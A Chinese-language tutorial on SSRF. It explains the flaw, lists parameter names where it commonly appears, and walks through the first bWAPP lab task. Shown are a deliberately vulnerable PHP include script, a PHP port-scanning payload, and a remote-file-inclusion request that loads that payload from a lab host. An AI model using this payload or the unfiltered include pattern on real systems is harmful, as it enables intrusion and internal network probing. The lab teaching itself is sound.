0X00 SSRF介绍
SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下,SSRF攻击的目标是从外网无法访问的内部系统。(正是因为它是由服务端发起的,所以它能够请求到与它相连而与外网隔离的内部系统)
SSRF 形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制。比如从指定URL地址获取网页文本内容,加载指定地址的图片,下载等等。
html,php,asp,jsp 具有这些文件后缀的文件通常储存在web服务器(网站服务器)中,而且web服务器都具有独立ip
网站访问大致步骤:
用户在地址栏输入网址 --> 向目标网站发送请求 --> 目标网站接受请求并在服务器端验证请求是否合法,然后返回用户所需要的页面 --> 用户接收页面并在浏览器中显示
【此处的请求默认为www.xxx.com/a.php?image=(地址)】
那么产生SSRF漏洞的环节在哪里呢?目标网站接受请求后在服务器端验证请求是否合法
产生的原因:服务器端的验证并没有对其请求获取图片的参数(image=)做出严格的过滤以及限制,导致可以从其他服务器的获取一定量的数据
例如:
www.xxx.com/a.php?image=http://www.abc.com/1.jpg
如果我们将http://www.abc.com/1.jpg换为与该服务器相连的内网服务器地址会产生什么效果呢?
如果存在该内网地址就会返回1xx 2xx 之类的状态码,不存在就会其他的状态码
终极简析:
SSRF漏洞就是通过篡改获取资源的请求发送给服务器,但是服务器并没有发现在这个请求是合法的,然后服务器以他的身份来访问其他服务器的资源。
0X01 SSRF漏洞的寻找(漏洞常见出没位置):
1)分享:通过URL地址分享网页内容
2)转码服务
3)在线翻译
4)图片加载与下载:通过URL地址加载或下载图片
5)图片、文章收藏功能
6)未公开的api实现以及其他调用URL的功能
7)从URL关键字中寻找
share
wap
url
link
src
source
target
u
3g
display
sourceURl
imageURL
domain
…
0X02 SSRF漏洞的验证方法:
1)因为SSRF漏洞是构造服务器发送请求的安全漏洞,所以我们就可以通过抓包分析发送的请求是否是由服务器的发送的来判断是否存在SSRF漏洞
2)在页面源码中查找访问的资源地址 ,如果该资源地址类型为 http://www.xxx.com/a.php?image=(地址)的就可能存在SSRF漏洞
最后附带一张SSRF漏洞导图
0X03 SSRF的3个小实验
bWAPP中的SSRF给出了3个小实验来说明SSRF的利用场景:
任务1:使用(RFI)远程文件包含进行端口扫描(内网探测)
任务2:使用XXE获取敏感文件中的内容(文件读取)
任务3:使用XXE进行SmartTV的拒绝服务漏洞的利用(漏洞利用)
RFI综述
RFI是Remote File Inclusion的英文缩写,直译过来就是远程文件包含,文件包含的目的是:程序员编写程序时,经常会把需要重复使用的代码写入一个单独的文件中,当需要调用这些代码时,再在其他文件中包含调用代码的文件。
要了解远程文件包含,首要先了解php的文件包含机制:
PHP中常用的包含调用函数有:include(), require(), include_once(), require_once() .include失败会弹出警告 而require则直接导致致命的错误
写个例子吧,直接讲下RFI:
s_hell.php(php.ini下开启allow_url_fopen allow_url_include)
<?php
if(isset($_GET['file'])){
$file = $_GET['file'];
include($file);
}
?>
http://10.22.10.191/Myphp/s_hell.php?file=https://bbs.ichunqiu.com
包含其实通俗点来讲,就是把被包含的文件的代码拿过来当作自己的源码的一部分,所以,php文件包含机制有个特性:哪怕被包含的文件是个txt文件,它也会被包含文件所在的服务器当作脚本去执行:
任务1:使用远程文件包含进行端口扫描
点击任务1中的Port scan可以获得一份端口扫描的攻击脚本
包含其实通俗点来讲,就是把被包含的文件的代码拿过来当作自己的源码的一部分,所以,php文件包含机制有个特性:哪怕被包含的文件是个txt文件,它也会被包含文件所在的服务器当作脚本去执行:
任务1:使用远程文件包含进行端口扫描
点击任务1中的Port scan可以获得一份端口扫描的攻击脚本
http://10.22.10.191/Myphp/ssrf-1.txt
<?php
echo "<script>alert(\"U 4r3 0wn3d by MME!!!\");</script>";
if(isset($_REQUEST["ip"]))
{
//list of port numbers to scan
$ports = array(21, 22, 23, 25, 53, 80, 110, 1433, 3306); //要扫描的端口
$results = array(); //把端口开放结果存在数组里
foreach($ports as $port) //遍历端口
{
if($pf = @fsockopen($_REQUEST["ip"], $port, $err, $err_string, 1)) //fsockopen()判断端口开放情况
{
$results[$port] = true; //结果放置在result数组里
fclose($pf);
}
else
{
$results[$port] = false;
}
}
foreach($results as $port=>$val) //遍历结果数组 $port=>$val 键值对形式
{
$prot = getservbyport($port,"tcp"); /获取端口服务
echo "Port $port ($prot): ";
if($val) //存在结果数组里的值是true,即为端口open,否则端口close
{
echo "<span style=\"color:green\">OK</span><br/>";
}
else
{
echo "<span style=\"color:red\">Inaccessible</span><br/>";
}
}
}
//echo phpinfo();
?>
进入Remote & Local File Inclusion (RFI/LFI)的实验后,看到有个选择语言的功能模块,直接执行下,观察Get请求中的参数,发现是典型文件包含问题,language=lang_en.php
GET的请求: http://127.0.0.1/bwapp/bWAPP/rlfi.php?language=http://10.22.10.191/Myphp/ssrf-1.txt&action=go